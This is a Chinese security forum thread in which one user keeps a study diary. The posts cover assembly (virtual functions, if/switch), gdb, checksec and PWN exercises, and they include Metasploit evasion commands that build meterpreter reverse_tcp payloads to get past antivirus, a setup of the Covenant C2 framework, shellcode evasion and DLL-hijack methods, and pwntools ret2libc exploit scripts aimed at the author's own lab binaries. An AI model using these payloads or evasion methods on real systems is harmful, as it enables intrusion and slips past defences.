安全矩阵

 找回密码
 立即注册
搜索
楼主: wholesome

侯欣悦学习日记

[复制链接]

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-10 08:57:20 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-10 21:38 编辑

汇编之虚函数
0x00引入
当时在学习C++的时候我接触过虚函数!不过,现在基本上都忘了,为了表明自己没学过作为初学者来一遍虚函数!
0x01概念及意义
首先我们先写一段普通的代码,再来引入虚函数:
  1. #include<stdio.h>
  2. class A
  3. {
  4.     public:
  5.         void print()
  6.         {
  7.             printf("This is A\n");
  8.         }
  9. };

  10. class B : public A
  11. {
  12.     public:
  13.         void print()
  14.         {
  15.             printf("This is B\n");
  16.         }
  17. };

  18. int main()
  19. {
  20.     A a;
  21.     B b;
  22.     a.print();
  23.     b.print();
  24.     return 0;
  25. }
复制代码
此时我们可以看到正如我们理想中输出的一样!该输出谁就输出谁!
但是如果我们进一步改正呢?
将上面主函数修改为:
  1. int main()
  2. {
  3.     A a;
  4.     B b;
  5.     A *p1=&a;
  6.     A *p2=&b;
  7.     p1->print();
  8.     p2->print();
  9.     return 0;
  10. }
复制代码
可以看到结果不一样了!那么问题来了,这分明不是我们想要看到的结果,p2明明指向的是class B的对象,但是它调用却是的class A的print()函数,那么解决这个问题就需要用到虚函数,也许你这个时候会认为把p2前面改成B不就好了吗?嗯嗯!我试了一下,好像是这样,可以得到我们想要的结果:
疑惑更深一步:“如果想调用子类中的覆盖函数,直接通过子类对象,或者指向子类对象的子类指针来调用,不就没这个烦恼了吗?要虚函数还有什么用呢?”
请教度娘,前方高能:
“其实不然,虚函数的实际意义非常之大。比如在实际开发过程中,会用到别人封装好的框架和类库,我们可以通过继承其中的类,并覆盖基类中的函数,来实现自定义的功能。
但是,有些函数是需要框架来调用,并且API需要传入基类指针类型的参数。而使用虚函数就可以,将指向子类对象的基类指针来作为参数传入API,让API能够通过基类指针,来调用我们自定义的子类函数。这就是多态性的真正体现。”
因此,我们就这样引入了虚函数,此外我们要特别注意上段标红的内容,极其重要!!
我们来看看一下《加密与解密》一文中对虚函数的描述:
再瞧瞧《0day安全:软件漏洞分析技术(第2版)》:
0x02汇编
更新示例:
  1. #include<stdio.h>
  2. class Test
  3. {
  4. public:
  5.         virtual int Add(int a, int b)
  6.         {
  7.                 return (a+b);
  8.         }
  9.         virtual int Sub(int a, int b)
  10.         {
  11.                 return (a-b);
  12.         }
  13. };
  14. void main()
  15. {
  16.         Test* test =new Test;
  17.         int x=test->Add(4, 2);
  18.         int y=test->Sub(4, 2);
  19.         printf("x=%d,y=%d\n", x, y);
  20. }
复制代码
汇编:
这汇编代码一句就这么长!真不知道该怎么优化!为了使代码简短!仿照采用《加密与解密》一书:
  1. #include<stdio.h>
  2. class Test
  3. {
  4. public:
  5.         virtual int Add(int a, int b)
  6.         {
  7.                 return (a+b);
  8.         }
  9.         virtual int Sub(int a, int b)
  10.         {
  11.                 return (a-b);
  12.         }
  13. };
  14. void main()
  15. {
  16.         Test* test =new Test;
  17.         //int x=test->Add(4, 2);
  18.         //int y=test->Sub(4, 2);
  19.         //printf("x=%d,y=%d\n", x, y);
  20.         _asm
  21.         {
  22.                 push esi
  23.                 //push 4
  24.                 //mov eax,00401270h
  25.                 //push eax
  26.                 //call eax   //new()函数,为新建函数对象实例分配4字节内存
  27.                 //add esp,4
  28.                 test eax,eax
  29.                 push eax
  30.                 push str
  31.                 call printf
  32.                 add esp,8
  33.                 je short L1
  34.                 mov dword ptr [eax], 0012ff70h//将0012ff70h写到创建的对象实例中,0012ff70h是Test类虚函数表的指针(VPTR)?
  35.                                                                       //表中的元素是Test类的虚函数,指向Test的成员               
  36.                 mov esi,eax                   //esi=VTBL
  37.                 jmp short L2
  38. L1:                xor esi,esi                                      //用NULL指向对象实例指针
  39.                                                                       //在内存分配失败时才会来到该分支,空指针将激活SEH
  40. L2:                mov eax,dword ptr [esi]                  //eax=*VTBL=**Add()
  41.                 push 2
  42.                 push 4
  43.                 mov ecx,esi                                         //ecx=this
  44.                 call dword ptr [eax]                 //对虚函数的调用,此时eax=*VTBL=**Add()

  45.                 mov edx,dword ptr [esi]   
  46.                 push 2
  47.                 push 4
  48.                 mov ecx,esi                                        //ecx=this
  49.                 call dword ptr [edx+4]                //call[VTBL+4]
  50.                 pop esi
  51.                 retn
  52.         }
  53. }
复制代码
第一次出错:
无奈,尝试了一番!不知道问题出在哪!随后我又尝试了很多次,改成:
不报错了!难道不能直接call地址吗?不过现在不知道这样写new成功没!如果不行!我就直接用C语言写:
现在当务之急就是找出虚函数表的指针!这也是在我实践过程中最难的地方!网上百度了方法,但是找出来的并不对,花了好长时间都没有找到虚函数表的指针!也许你会问怎么验证找到虚函数表的地址呢?因为虚函数表里面存的是虚函数地址!
寻找过程中!通过调试,我们可以找到两个虚函数的地址,如下:
此时,如果我们找到虚函数表的指针,那么里面的内容就一定是Add()函数和Sub()函数的地址,即00401160以及004011a0。
以下是我寻找过程中的一些方式截图:

不行!b又是一个新的对象,应该要用test对象:
测试了,不是,又来:
还是不对......
中间尝试了很多次,不行!(hold不住了!睡觉!)
此处假装找出来了!能汇编。。。。。。
0x03高级应用
利用虚函数我们可以栈溢出!由于虚函数的地址保存在虚函数表,虚函数表的地址保存在类对象前四个字节。我们此时就可以通过栈溢出用shellcode将其虚函数表的指针覆盖!
参考资料:
《加密与解密(第四版)》
《0day安全:软件漏洞分析技术(第2版)》





本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-10 21:23:53 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-10 21:40 编辑

Evasion免杀
0x01生成exe(42/71)
  1. use windows/windows_defender_exe
  2. set filename payload.exe
  3. set payload windows/meterpreter/reverse_tcp
  4. set LHOST 192.168.0.106
  5. set LPORT 5555
复制代码
  1. mv /root/.msf4/local/payload.exe /root/wo.exe
复制代码
一移动到win10桌面火绒就“自动处理”:
火绒关掉:
  1. handler -H 192.168.0.106 -P 5555 -p windows/meterpreter/reverse_tcp
复制代码

执行!不过不知道他为什么died
0x02生成hta(23/59)
  1. use windows/windows_defender_js_hta
  2. set filename shi.hta
  3. set payload windows/meterpreter/reverse_tcp
  4. set LHOST 192.168.0.106
  5. set LPORT 5555
  6. run
  7. mv /root/.msf4/local/shi.hta /root/shi.hta
复制代码
过了火绒!
但是我不知道怎么执行hta文件,以至于我没有演示到hta上线!
由于我这里只有两种载荷生成方式,所以只能演示两种!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-11 20:10:04 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-11 20:11 编辑

基于.NET命令和控制框架的Covenant红队工具
0x01安装
Kali端下载:
  1. git clone --recurse-submodules https://github.com/cobbr/Covenant
复制代码
下载一个编译环境,(原因:确保安装dotnet核心版本2.2 SDK!Covenant尚不支持 dotnet core 3.0,SDK是构建项目所必需的(不仅仅是运行时))
wget命令下载:
  1. wget https://download.visualstudio.microsoft.com/download/pr/022d9abf-35f0-4fd5-8d1c-86056df76e89/477f1ebb70f314054129a9f51e9ec8ec/dotnet-sdk-2.2.207-linux-x64.tar.gz
复制代码
然后跟随官网给出的环境配置命令:
  1. mkdir -p $HOME/dotnet && tar zxf dotnet-sdk-2.2.207-linux-x64.tar.gz -C $HOME/dotnet
  2. export DOTNET_ROOT=$HOME/dotnet
  3. export PATH=$PATH:$HOME/dotnet
  4. dotnet -h
复制代码
随后切换目录:
使用dotnet编译Covenant:
  1. dotnet build
  2. dotnet run
复制代码
我关掉命令行之后,出现:
每次打开都要配环境,又重新配置了环境一遍:
然后我们根据作者所说“使用dotnet run之后会直接运行Covenant,会给出一个web链接”,找到这个链接打开:
最开始直接复制下来在Windows10浏览器打开,发现打不开,格式不对,后来查出kali所在ip:
成功!
0x02配置使用Covenant
按步骤注册后登入:
此时的账户是管理员。
各个模块的使用介绍:
  1. Dashboard      #主视图和你登陆时看到的第一个东西。你可以很快地看到你得到的活跃的Grunts,当前活跃的监听器,以及一些最近分配给Grunts的任务。
  2. Listeners      #提供用于管理监听器和监听器配置文件的界面。
  3. Launchers      #提供用于创建,托管和下载启动器的界面,以用于启动新的Grunts。
  4. Grunts         #显示一个表格,以查看所有活动和不活动的Grunts,以及与Grunts进行交互并为其分配新任务。
  5. Templates      #植入模板 可自定义很多payload模板Tasks          #任务内置Mimikatz等很多模块执行多种任务,也可自行定制
  6. Taskings       #显示一个表格,以查看分配给Grunts的所有任务。
  7. Graph          #提供图形视图以可视化监听器,Grunts和对等图形。
  8. Data           #提供有关在操作过程中从Grunts 收集的数据的视图,例如凭据,指示器和下载的文件。Users          #提供用于用户管理和创建的界面。
复制代码
Dashboard:仪表盘
由于我是第一次使用,所以没有任何数据
Listeners:监听器
此时我们创建的是HTTP监听器:
  1. Name   #将在整个接口中使用的监听器的名称。选择一些可识别的东西!
  2. BindAddress   #BindAddress是监听器将绑定到的本地ip地址。通常,这个值是0.0.0.0。
  3. BindPort    #监听器需要绑定的端口
  4. ConnectPort    #ConnectPort是Grunts将直接连接到的回调端口
  5. ConnectAddress    #ConnectAddress是Grunts将直接连接到的回调地址
  6. UseSSL     #是否启动SSL证书
  7. HttpProfile     #HttpProfile决定了Grunt和Listener通信的行为,大家可以自行修改
复制代码
刷新界面:
双击上述页面的监听器名字:
我们再来添加一个TCP监听器:
Launchers:启动器
Binary启动方式:
单击名字进入配置页面:
  1. Listener      #为监听器
  2. Template     #为通讯模板
  3. Delay        #为延迟
  4. JitterPercent  #为抖动时间
  5. ConnectAttempts #为尝试连接时间
  6. KillDate      #为杀死进程时间
  7. DotNetFrameworkVersion   #为.net的版本
复制代码
点击了Generate后Download,就会把可执行文件下载到本地:
下载完毕,我的火绒打开着,但是没有任何反应:
那我们扫描一番:
哈哈哈!没有查杀到!
但是问题来了,它不按套路出牌,我双击后,它并没有上线:
咋回事?是因为不能把自己当肉鸡吗?
(因为这个web链接和可执行文件都在Windows10)
那我换一个“肉鸡”:Windows2008
还是不行!不知道问题出在哪!难道这个病毒有时效?
Powershell启动方式:
然后点击Host标签页,填上路劲和文件名:
点击后面按钮,跳转:
任意复制一条,在靶机上执行:
咋回事!为什么还是没有上线!
Grunts:受控主机的显示界面
由于我这里不知道怎么回事,上线不了,就没有办法对后面某些操作界面配图讲解。
假如这里上线了,就可以双击相应的名称进入对应主机的控制页面。
在这个控制页面里的Interact标签是一个与主机交互的界面。。。。。。(但是这里没有上面)
更多详情请参考:
https://mp.weixin.qq.com/s/oc1SSjpjtGTRr8abrZlG2Q

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-12 23:11:06 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-13 23:07 编辑

汇编之控制语句
0x01 if-else语句
一个简单的小栗子:
小小程序,蕴含的也不少啊!本来最开始我徒手写!就打算凭着这么多天的学习能够写了吧!
然而理想很丰满,现实很骨感!
果然基本功没有练到家,最后还是参考了《加密与解密》:
  1. #include "stdafx.h"
  2. #include<stdio.h>
  3. void main()
  4. {
  5.         //int x;
  6.         /*
  7.         scanf("%d",&x);
  8.         if(x==0)
  9.         {
  10.                 printf("Hello World!\n");
  11.         }
  12.         else
  13.         {
  14.                 printf("Hello China!\n");
  15.         }*/
  16.         char *str0="%d";
  17.         char *str1="Hello World!\n";
  18.         char *str2="Hello China!\n";
  19.         _asm
  20.         {
  21.                 push ecx        //相当于sub esp,4h,开辟局部变量x的空间
  22.                 lea eax,[esp]   //eax执行局部变量空间
  23.                 push eax               
  24.                 push str0
  25.                 call scanf                //C语言的scanf函数
  26.                 mov eax,[esp+8] //将输入的字符再次赋给eax
  27.                 add esp,8h      //注意平衡堆栈
  28.                 cmp eax,0                //相当于test eax,eax
  29.                 jne L1                        //这个跳转指令,我最容易搞混
  30.                 push str1
  31.                 call printf
  32.                 add esp,4                //注意平衡堆栈
  33.                 jmp L2
  34. L1:
  35.                 push str2
  36.                 call printf
  37.                 add esp,4                //注意平衡堆栈
  38. L2:
  39.                 pop ecx                        //释放局部变量的空间
  40.         }
  41. }
复制代码
其中以下地方我是想不到的:
0x02 switch-case语句
这个语句和上面的类似!平时用的比上面的几率少!但是同样重要:
此时只需在上面一个例子的汇编基础上做修正:
有了第一个例子作为铺垫,这个例子就容易很多!并且这个程序很多行代码都是可以复用的(如上图红框)
  1. #include "stdafx.h"
  2. #include<stdio.h>
  3. void main()
  4. {
  5.         /*
  6.         int x;
  7.         scanf("%d",&x);
  8.         switch(x)
  9.         {
  10.                 case 66: printf("x=66\n");break;
  11.                 case 8: printf("x=8\n");break;
  12.                 case 100: printf("x=100\n");break;
  13.                 default:printf("Thank You!\n");break;
  14.         }*/
  15.         char *str0="%d";
  16.         char *str1="x=66\n";
  17.         char *str2="x=8\n";
  18.         char *str3="x=100\n";
  19.         char *str4="Thank You!\n";
  20.         _asm
  21.         {
  22.                 push ecx        //相当于sub esp,4h,开辟局部变量x的空间
  23.                 lea eax,[esp]   //eax执行局部变量空间
  24.                 push eax               
  25.                 push str0
  26.                 call scanf                //C语言的scanf函数
  27.                 mov eax,[esp+8] //将输入的字符再次赋给eax
  28.                 add esp,8h      //注意平衡堆栈
  29.                 cmp eax,66               
  30.                 jne L1                        
  31.                 push str1
  32.                 call printf
  33.                 add esp,4                //注意平衡堆栈
  34.                 jmp end
  35. L1:
  36.                 cmp eax,8
  37.                 jne L2
  38.                 push str2
  39.                 call printf
  40.                 add esp,4                //注意平衡堆栈
  41.                 jmp end
  42. L2:
  43.                 cmp eax,100
  44.                 jne L3
  45.                 push str3
  46.                 call printf
  47.                 add esp,4                //注意平衡堆栈
  48.                 jmp end
  49. L3:
  50.                 push str4
  51.                 call printf
  52.                 add esp,4
  53. end:
  54.                 pop ecx                        //释放局部变量的空间
  55.         }
  56. }
复制代码


本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-15 14:38:52 | 显示全部楼层
大杂烩:
1C语言里面的编译开关和优化会对代码有影响有时会发现C语言代码和实际汇编不一样。是因为VC6编译出来的比较原味,高版本优化后会做预运算。
VCDebug Release 编译方式的本质区别
Debug 通常称为调试版本,它包含调试信息,并且不作任何优化,便于程序员调试程序。Release 称为发布版本,它往往是进行了各种优化,使得程序在代码大小和运行速度上都是最优的,以便用户很好地使用。
2、循环的实现依赖于各种跳转,分长跳和短跳。长跳依赖于地址和寄存器,短跳依赖于偏移。
3、社工情报收集与分析基础的实战技能:
1)进入QQ群,拍照群文件,弄清楚每个群文件的上传时间和上传人;并且一般在虚拟机下载:防止其中有后门,还可以做一个虚拟机镜像,以便破坏源文件后可以恢复
2)查看群文件(图片、文档、视频):使用提取文件属性的工具
文档:有电脑作者和版本信息等
图片:位置信息、时间信息等(kali里面有一个照片取证工具)
视频:位置信息、拍摄者信息、设备信息等
最后建档把这些记录下来。
注意要点:什么人在什么时间做了什么事
3)根据时间线看完文件后,再看群里的聊天记录
Shellcode执行免杀四种常见关键技术:
多态、变形、再解释执行、刷白名单
1)多态:shellcode多态指不同的代码段执行相同的功能(可以规避行为特征序列的查杀),病毒多态是指功能多态。
Shellcode被动态查杀的原因是调用了固定的API序列,那么对抗查杀就是要破坏API序列的顺序关系。
行为的体现在于调用函数的组合。
2)变形:利用各种编码进行混淆。通常容易被动态查杀,却可以过静态查杀。
3)再解释执行:代表技术有虚拟机技术执行、中间语言字节码执行
虚拟机技术执行:什么意思,打个比方,自己定义一个房间,然后定义一种语言;在这个房间内程序用自己的语言进行交流。
中间语言字节码执行:比如用pythongojavarubyluavbsc#加载字节码执行;这个时候相当于用一种中间IL语言语法器去执行我们的shellcode,从而绕过各种静态和动态分析;仔细研究会发现,加载过程大同小异,先开辟空间,加载相关系统函数,然后把shellcode执行;这种用脚本语言和中间语言包裹的方式就是再解释执行,执行器实际上是各种语言的虚拟机而已。
中间IL语言语法器是什么?
比如c#实际上编译后并非是机器码形式的本地化代码,而是翻译成中间语言:IL,由c#解释器负责解释这个编译后的伪代码。
不管什么语言,一定会有一种加载字节码的方法,那么进一步,不管什么软件,只要他可以加载字节码执行,一定可以利用。
任何时候你在.NET中编译你的代码,不管你使用什么语言。它都会被转换成一种中间语言ILIntermediate Language
注意:请注意ILIL汇编语言是两个不同的概念,当我们说到IL时,是指.NET编译器产生的二进制代码,而IL汇编语言不是二进制格式的。
4)刷白名单:
白名单执行方式就是dll劫持这里又分三种
第一种劫持法,比如一个exe调用了a.dll这个动态链接库那么如果我们有a.dll的源代码,我们把shellcode加进去到某一个加载项里面
第二种劫持法,如果我们没有a.dll的源代码,我们把自己的shellcode编译在b.dll然后用loadpe之类的工具编辑a.dll注入对b.dll的调用第三种劫持法,很暴力,直接用我们的a.dll覆盖原来的a.dll这种方法只适用于a.dll是功能次要的函数比如update功能
第二种方法比较普遍利用这个,我们可以劫持正常程序而不需要自己开进程杀毒对正常程序没用

回复

使用道具 举报

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-25 22:11:08 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-26 20:37 编辑

(从头开始做PWN笔记!
PWN学习

0x01缓冲区溢出攻击保护机制
将1.c程序用32位编译后,用checksec 1.exe命令查看1.exe的保护机制有哪些!
其中Arch是32位平台,RELE0(存储只读区)、Stack(栈保护canary)、NX(数据执行保护DEP)、PIE(地址随机ASLR)等四种都是保护机制!
其中最常见我们主要讨论后三种:
1、Stack(栈保护canary)
gcc -fno-stack-protector -o 1.exe 1.c  //禁用栈保护
gcc -fstack-protector -o 1.exe 1.c  //启用堆栈保护,不过只为局部变量中含有 char 数组的函数插入保护代码
gcc -fstack-protector-all -o 1.exe 1.c //启用堆栈保护,为所有函数插入保护代码
从上面的1.exe我们可以看见,gcc编译默认没有开启栈保护:
输入
  1. gcc -m32 -fstack-protector-all  1.c -o 1.exe
  2. checksec 1.exe
复制代码
可以看见栈保护措施已经启动。
2、NX(数据执行保护DEP)
从上面的1.exe我们可以看见,gcc编译默认开启数据执行保护:
输入
  1. gcc -m32 -z execstack -o 1.exe 1.c
复制代码
执行之后,我发现NX数据执行保护已经关闭,但是同时栈保护被关闭了,难道是关联的?
3、PIE(地址随机ASLR)
这个时候我们关闭PIE
  1. gcc -m32 -no-pie -o 1.exe 1.c
复制代码
可以看见PIE保护机制被关闭!
由于后面会经常用到以上几个命令,所以这里就主要讲解了gcc编译时各个保护机制默认情况和怎么开启或关闭!




本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-26 20:36:09 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-26 20:58 编辑

0x02 常用gdb调试命令
gcc编译时,若不加-m32,则表示编译成64位
平时我们几乎使用32位,所以:
可以看见我们经常使用的EAX等寄存器。
其中:
方框里面是寄存器的地址,即EAX的地址为0x56559000,而0x3efc是这个地址所在内容:
用大写不行,尝试小写,我们可以看见eax的地址正如我们上面的0x56559000,以及取出该地址的内容是0x3efc。
这是我们的1.c文件
现开始使用gdb反汇编func函数
下断点,并查看断点信息:
输入r运行停在断点处:
删掉断点,并且i b 查看断点信息:
接下来就是一些x命令查看相关内容。
x/x $esp 查看esp寄存器中的值
x/i addr 查看addr处的反汇编结果
。。。。。。
暂且介绍到这儿吧,后面用到再说。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-26 20:59:35 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-27 11:04 编辑

0x03 溢出点位置定位
在进行缓冲区溢出的时候,我们经常要定位缓冲区位置,这个时候配置好的kali的作用就发挥了。怎么定位缓冲区溢出,这里有三种方式。
待实验程序:
  1. #include <stdio.h>
  2. void exploit()
  3. {
  4.     system("/bin/sh");
  5. }
  6. void func()
  7. {
  8.         char str[20];
  9.         read(0,str,50);
  10.         printf("the str is:%s\n",str);
  11. }
  12. int main()
  13. {
  14.         func();
  15.         return 0;
  16. }
复制代码
编译:
  1. gcc -no-pie -fno-stack-protector -z execstack -m32 -o 3.exe 3.c
  2. checksec 3.exe
复制代码
上述命令关闭(地址随机化、栈保护以及数据执行),如下:
当然也可以在peda环境下执行:
既然是缓冲区溢出,那么拿到一个程序,我们首先要确定是否有溢出?
  1. objdump -t .text 3.exe
复制代码
输入这条命令可以看到这个程序试用了哪些函数。
然后我们也可以寻找特定的函数如read,输入:
objdump还可以反汇编:
  1. objdump -D 3.exe
复制代码
Linux格式稍微和平常使用的Windows有区别。
不过,我们有方法变一变:
  1. objdump -D -M intel 3.exe
复制代码
找出了system函数入口位置804919f,而8049050就是system函数执行的地方。
现在正式进入主题:
方式一、kali自带
  1. msf-pattern_create -l 100
复制代码
复制生成的长度为100的字符串用来定位溢出的位置:
使用r命令执行程序
输入刚刚复制的字符串并回车:
由于溢出,程序中断,我们可以看见这个时候,中断的位置就是EIP,该地址存储的内容由于溢出被覆盖成了字符串中的0Ab1,找出这个0Ab1在那个字符串的相对位置就是我们接下来的任务:
  1. msf-pattern_offset -q 0Ab1
复制代码
将32十进制转换成十六进制是20,刚好就是我们程序里溢出的位置。
方式二、peda插件
输入peda可以查看这个插件的各种函数。
  1. pattern_create 100
复制代码
运行r:
回车,中断:
查看中断位置,输入:
  1. pattern offset A)AA
复制代码
(o゜▽゜)o☆
对上了!
方式三、pwndbg插件
我们知道peda与pwndbg是不兼容的,所以我们需要修改配置文件,执行:
  1. nano /root/.gdbinit
复制代码
注释掉以下图片中的第二行,取消第三行的注释:
修改后保存退出:
输入pwn可以查看它的所有命令。
产生定位字符串
  1. cyclic 100
复制代码
输入r运行程序,然后粘贴这个长长的字符串回车,找到EIP:
可以看到程序中断停止,EIP所在位置0x61616169无效。
接下来寻找溢出位置:
  1. cyclic -l iaaa
复制代码
成功准确定位!
延续:
既然我们知道了溢出点,这个时候我们就应该利用溢出来getshell,在这个程序里,我们知道有个exploit函数可以getshell(这里先演示简单的,这个函数时我们故意写的,真实环境中我们需要找到自带的system,并且使/bin/sh作为system的参数压栈来getshell)
这里我们直接利用exploit函数,溢出时将EIP的地址指向这个函数的入口地址0x08049182:
这里使用python脚本溢出:
  1. from pwn import *
  2. p=process('./3.exe')
  3. offset = 32
  4. payload ='a'*offset+p32(0x8049182)
  5. #payload ='a'*offset+p32(0x804919f)+p32(?)+p32(?)
  6. p.sendline(payload)
  7. p.interactive()
复制代码
执行
  1. python 3.py
复制代码
成功!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-27 23:44:01 | 显示全部楼层
本帖最后由 wholesome 于 2020-3-28 00:36 编辑

0x04 64位程序调试的关键
  1. #include<stdio.h>
  2. void exploit()
  3. {
  4. system("/bin/sh");
  5. }
  6. void main()
  7. {
  8.     char buf[20];
  9.     gets(buf);
  10. }
复制代码
输入
  1. gcc -no-pie 4.c -o 4.exe
  2. checksec 4.exe
复制代码
汇编输入
  1. start
复制代码
这个时候,寄存器比32位增加一些寄存器,此外寄存器的名称也相对改了一点。
然后用我们之前的溢出定位,输入
  1. cyclic 100
复制代码
可以看到ret,这个时候RIP并没像32位EIP一样指出溢出的内容:
这就是64位程序调试时的最大不同之处。
那么接下来我们就要从64位程序指出怎么看溢出的位置:在64位程序调试的时候,我们溢出判断是在堆栈里面看(32位是在EIP看)。
这个时候我们就截取前面4个kaaa,输入
  1. cyclic -l kaaa
复制代码
这里表明40位溢出。有点迷糊,前面的代码代码数组是20,这里40该怎么看?之前在32位程序下找出的溢出位置是32十进制,代表的十六进制是20。这里是64位程序。。。。。。
输入p exploit,找出exploit函数的地址0x401132
使用python脚本,比32位多添加一条:
  1. from pwn import *
  2. context(arch="amd64",os="linux",log_level="debug")
  3. p=process('./4.exe')
  4. offset = 40
  5. payload ='a'*offset+p64(0x401132)
  6. p.sendline(payload)
  7. p.interactive()
复制代码
保存后执行python 4.py(注意执行路径)
Getshell

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

93

主题

202

帖子

926

积分

高级会员

Rank: 4

积分
926
 楼主| 发表于 2020-3-28 21:03:14 | 显示全部楼层
0x05 ret2libc技术与 attach调试
1、ret2libc技术
应该还记得前面我们介绍的几种保护机制吧!在之前的基础训练中,关闭了数据执行保护(NX)等程序保护措施,从而实现了简单的溢出攻击,但在实际应用中,为了避免攻击者的溢出攻击,提出了数据执行保护安全机制,使攻击者注入的shellcode无法执行。
在windows下,我们称数据执行保护机制为DEP,而在linux平台下,我们见到的是NX。那么什么是数据执行保护机制?
万物相生相克,有了这种保护机制,自然也有破解这种机制的技术,也就是今天的主角:ret2libc 即return-to-libc(返回到系统库函数执行)。
前面的示例中,我们溢出是通过自己编写的exploit函数里的system达到攻击目的。
其实,在系统函数中,也有一个system函数,它也是通过/bin/sh命令来实现shellcode的功能。如果我们将EIP改写成这个system函数的地址,并且找到/bin/sh这个参数进行压栈等操作,就能实现我们之前exploit函数的效果。自建的一个构思图:
其中我最难理解的就是这个这个system的参数与exit该怎么覆盖?我的理解是main函数执行后跳转到EIP,而EIP又是system函数地址的覆盖,然后就会跳转到系统函数的system函数地址,跳转后,此时的ESP就会指向exit,然后system函数执行就会需要一个参数:
“/bin/sh”,这个时候,下图的/bin/sh的地址被寄存器存储,然后执行system函数就会使用这个寄存器.......
(我是这么理解的,有点迷糊)
所以我们构造的payload
输入
  1. checksec 41.exe
复制代码
可以看到数据执行保护(NX)已经开启
然后输入
  1. gdb 41.exe
  2. cyclic 100
复制代码
  1. r
复制代码
  1. cyclic -l laaa
复制代码
确定出溢出位置,接下来使用相关的利用python脚本:
从上面的脚本中,我们可以看到现在我们只需要构造payload,即找出上面我们提到的system函数、参数的地址以及使被溢出的程序“默默退出”的exit函数地址(以免报错)。
1)使用exploit()函数
将0x08049172整合到脚本的payload里面:
  1. from pwn import *
  2. p=process('./41.exe')
  3. offset = 44
  4. payload ='a'*offset+p32(0x08049172)
  5. p.send(payload)
  6. p.interactive()
复制代码
保存运行:
  1. python 4fuzz.py
复制代码
Successful!
此方法只是简单利用已有exploit()函数
2)利用系统库函数里面system函数
  1. search system
复制代码
  1. search /bin/sh
复制代码
  1. search exit
复制代码
此外还可以:
不过不知道为什么/bin/sh为什么找不到。
在上述三个search中,选出任意对应的三个地址构造payload(当然有些地址可能不会成功),这里system使用0xf7e13660:
/bin/sh使用:
exit使用:
构造payload:
  1. payload ='a'*offset+p32(0xf7e13660)+p32(0xf7e096f0)+p32(0xf7f50f68)
复制代码
保存利用:
Failed!
为什么会报错?
原因是系统库函数的ALSR(地址随机化)没有关闭,而我们前面的NO PIE是针对41.exe这个小程序的。
然后这里有一个注意事项
使用ret2libc时,在最开始编译41.exe时,执行以下命令关闭系统函数随机化:
  1. echo 0 > /proc/sys/kernel/randomize_va_space
复制代码
然后输入
  1. python 4fuzz.py
复制代码
成功打开一个bash!
若使用0x804828b:
这就是不成功的例子:
参考文章:《使用ret2libc攻击方法绕过数据执行保护》---海枫
2、attach调试
在前面的实践中,我们都是在一个没有运行的进程上开始调试而使其运行。但是很多时候,如果进程已经跑起来了,不再适合用gdb来拉取新的进程,而期望用gdb附着到这个已经存在的进程;那么gdb的attach调试就能实现附着到一个已经在跑的进程上获取当前栈的所有变量值,从而进行实时观察进程。
前期工作(找出溢出位置,不再赘述)
接下来我们来看一个实现这个配置环境的python脚本:
  1. from pwn import *
  2. context(arch="i386",os="linux",log_level="debug")
  3. #context(arch="amd64",os="linux",log_level="debug")  //针对编译的程序是64位以及操作系统是linux(还是windows)
  4. p=process('./41.exe')        //开启进程
  5. print(proc.pidof(p))        //打出进程号
  6. offset = 44
  7. #payload ='a'*offset+p32(0x8049172)
  8. #payload ='a'*offset+p32(0xf7e16660)+p32(0xf7e096f0)+p32(0xf7f53f68)
  9. pause() //表示暂停,在发送payload之前暂停,从而我们就可以利用attach命令调试已经跑起来的进程
  10. p.send(payload)
  11. p.interactive()
复制代码
输入执行:
获得1891进程号。
这个时候,任意输入即可继续进行:
这就是attach的附着进程调试。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2021-4-15 22:57 , Processed in 0.042865 second(s), 17 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表